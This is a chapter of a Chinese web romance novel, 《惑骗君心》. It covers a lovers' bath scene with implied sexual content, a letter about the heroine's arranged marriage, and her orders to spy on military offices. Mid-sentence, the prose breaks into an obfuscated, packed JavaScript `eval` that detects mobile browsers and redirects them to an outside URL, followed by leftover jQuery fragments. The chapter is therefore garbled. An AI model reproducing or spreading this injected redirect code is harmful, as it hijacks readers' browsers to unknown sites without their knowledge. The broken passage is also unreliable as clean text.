47. 浴池

作品:《惑骗君心

    主院的浴房内比珠玉院、翡韵阁的都要宽敞许多,至少大了三倍,最里间修了一座小浴池,连着地龙与活水。


    耗费不菲倒不算什么,只是要用一次得提前准备许久,花的时辰长,因而谢砚深并不常用。


    但今日例外。


    谢砚深抱着怀中裹得紧实的人,踏进浴房,即刻发现平日只作摆设的浴池升腾着白雾,水面上还覆盖着层层花瓣,香气与热气同时扑向门外。


    立时朝右侧瞥去一眼。


    福明立在门边,垂首敛眼,无不恭敬。


    头顶上刀锋一样的目光收了回去,换作一道沉声:“告诉寝房那边,今夜多垫两层厚被。”


    武将的床木硬,娇养出来的女娘素来软榻安眠,定然会不习惯。


    ……之前蹈义台那回,玉怜脂明显睡得不安稳。


    福明连忙应声:“是。”


    男人抬步入了浴房,木门闭阖。


    -


    玉怜脂伏在男人的肩上,昏昏欲睡,侧颊的雪白软肉被压得堆起来一点,无力半阖着眼,眼尾哭过之后变得与唇部一样糜红,整个人散发着堕欲的迷乱。


    长发用一根长簪简单挽起,左臂环着男人的脖颈,手不自然地颤抖,甲尖无意识轻刮着他坚实的肩背。


    “……你来时,就沐浴过了。”谢砚深偏首,侧压着她的鬓发。


    池中花瓣也压不过清柔的发香。


    “唔……”她迷糊着应声。


    “你是故意的。”他下了定论。


    倚在他肩上的少女痴痴笑出声,声音轻而酥软:“怜娘都说了……想砚郎想得紧呀。”


    说罢,她抱紧了他,欢欣,又更像满足:“砚郎好厉害。”


    “就是不听话。”喏语中带着抱怨。


    只喂了她一次,后头求他,他分明也还热着,却怎么也不肯,就专折腾其他地方,咬得她明日穿小衣怕是都不成了。


    男人臂上青筋绷紧,似乎在强忍什么,嗓音极为沉哑:“医官早有交代,你本就不能……”


    没说完,薄唇被柔软封住,勾连出细密声响。


    “下回可要乖乖的,不然就不让你吃了。”末了,她噙着眸中水雾,轻哼。


    ……


    珠玉院那边拿来了新的衣裙,候在房外,但玉怜脂晕乎乎的时候便不耐烦,最后穿着平日备在浴房里的里衣。


    他的衣衫她穿着极宽大,没有多余的气味,只有清新的淡淡皂角香。


    躺入床榻的时候,她已是困倦极了,没有力气,软倒在谢砚深怀里,被他紧紧抱着。


    迷迷糊糊之中,只能感觉到浑身被一股极致的温暖围裹。


    那是往日她放多少汤婆子在衾被里都达不到的舒适,热意不是传递来的,而是交融,可以透过皮肉,渗透身体深处。


    她许久没有过了,一夜无梦的好眠。


    -


    日子过得飞快,元宵过后不久,西院的疫症散了大半。


    染症的下人们基本都好了起来,只有谢滨和方氏还缠绵病榻,方氏的病症似乎更严重些,一直不得清醒,但谢滨却已经有醒来的时候。


    又过了两三日,玉氏派去西院里的两名大夫替谢滨递了封信出来。


    给玉怜脂的。


    -


    珠玉院。


    廊下很安静,段素灵带着手套,拆开信封,用艾叶再熏过那信纸,随后提笔,将信纸上的内容一字不落誊抄下来。


    等她抄完,关嬷嬷拿着信,转身进了房内。


    ……


    玉怜脂两指捻着薄纸,垂眸扫过,片刻后,放下。


    谢滨在询问她的婚事。


    ……又是婚事。


    前些天,她去高大夫人的院子,从高大夫人那知道了王老太君心中不满她在侯府盘桓太久,欲要夏季之前为她定下姻缘的事。


    可她不能出去。


    一旦踏出镇北侯府,护国公府的刀剑立刻就会向她杀来。


    当初柳启彦的追杀便已让她应付得颇为艰难,流水一样的银子撒出去才勉强能抗衡。


    一个知府尚且如此,更何况护国公府?


    没了侯府的庇护,她绝活不下去。


    关嬷嬷观察着她的神色,压低声音小心开口:“姑娘,三月便是春闱,依着那边的意思,是想好了要在赶考的举子里替您挑人,但若如此,招赘怕是不成了,约莫只能去父……留子。”


    俗言士、农、工、商。


    人人都说,万般皆下品,惟有读书高。


    可这读书却不是寻常百姓能负担得起来的,读书好,价却贵。


    若耕田农家中有一人要科考,那非得拼着举家两代、三代,甚至远亲近邻所有人的帮衬,才供得起。


    笔墨纸砚于平头百姓而言已是一笔不小的开销,可这还只是埋头苦读所需最常用、最便宜的物什,更何况寻访名


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991738|137099||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    师、阅读各类典册书籍,样样都要通人脉,花银子。


    且三年一考,多少人考到白发苍苍也不中,但依旧前赴后继,只为暮登天子堂。


    可三年三年地耗下去,填进去的银两便没有止数,半耕半读的大有人在,可若是如此,难免分了心,而后更容易屡试不中,不中,就又接着捉襟见肘。


    往复循环,穷苦便没了尽头。


    所以,历朝历代多有穷书生靠着妻家提供金银、束脩,科考后备有力,最终一举中第的。


    玉氏自然不缺钱财,若挑个文章不错,有前程的穷举子,来做未来小主子的生父,其实不失为一个好选择。


    第一,事成之后,举子拿了钱财就走,多半不会纠缠,天底下的男人都一个样,科举有望了,怎肯掉头入赘。


    第二,挑个能写文章考科举的举子,总比那些莽笨俗夫好得多,免得将来小主子被生父带累,不够聪慧。


    第三,若是那举子未来真有大前程,终归一段血缘在,说不准,能为玉氏通条后路保障出来。


    “段大掌柜说,姑娘也有意要找,”关嬷嬷轻声劝道,“老奴知道,姑娘心里还有大事,可既然您对将来有打算,先看看也是无妨的。”


    她越想越觉得找举子的法子可行。


    玉怜脂微阖眼,眸中清冷,面上没有表情,似乎是在思索,又好似觉得无趣。


    “……姑娘?”关嬷嬷又叫了一声,“您之前不是同大掌柜说了的,难道,您是不满意那些举子?”


    “按着高大夫人和王太夫人的意思,开春后府里游宴,请了许多人,您暗中先见见那些个挑来的人,再做决定也不迟啊。”


    “反正您早晚都要选人的不是?”


    玉怜脂沉默了半晌,最后开口:“即使我不想见,怕是也不得不见。”


    她没有正面回答关嬷嬷的问题,只是说了这一句。


    关嬷嬷还想说些什么,但又被打断——


    “对了,修书一封送回苏州,让吕叔放出所有人手,这两月务必盯紧金陵城和苏州城里和兵营有关的异动,尤其是武库署、军器监里的低阶官员。我估摸着,他派去调查军刀一事的人,此刻已在两江。”玉怜脂冷声下了令,转了话题。


    过了这么些时日,谢砚深说不准已经查出什么了。


    她不能一直单纯地窝在侯府这金银窝里,否则难免眼瞎耳盲,总得探得些虚实,才好看下一步怎么走。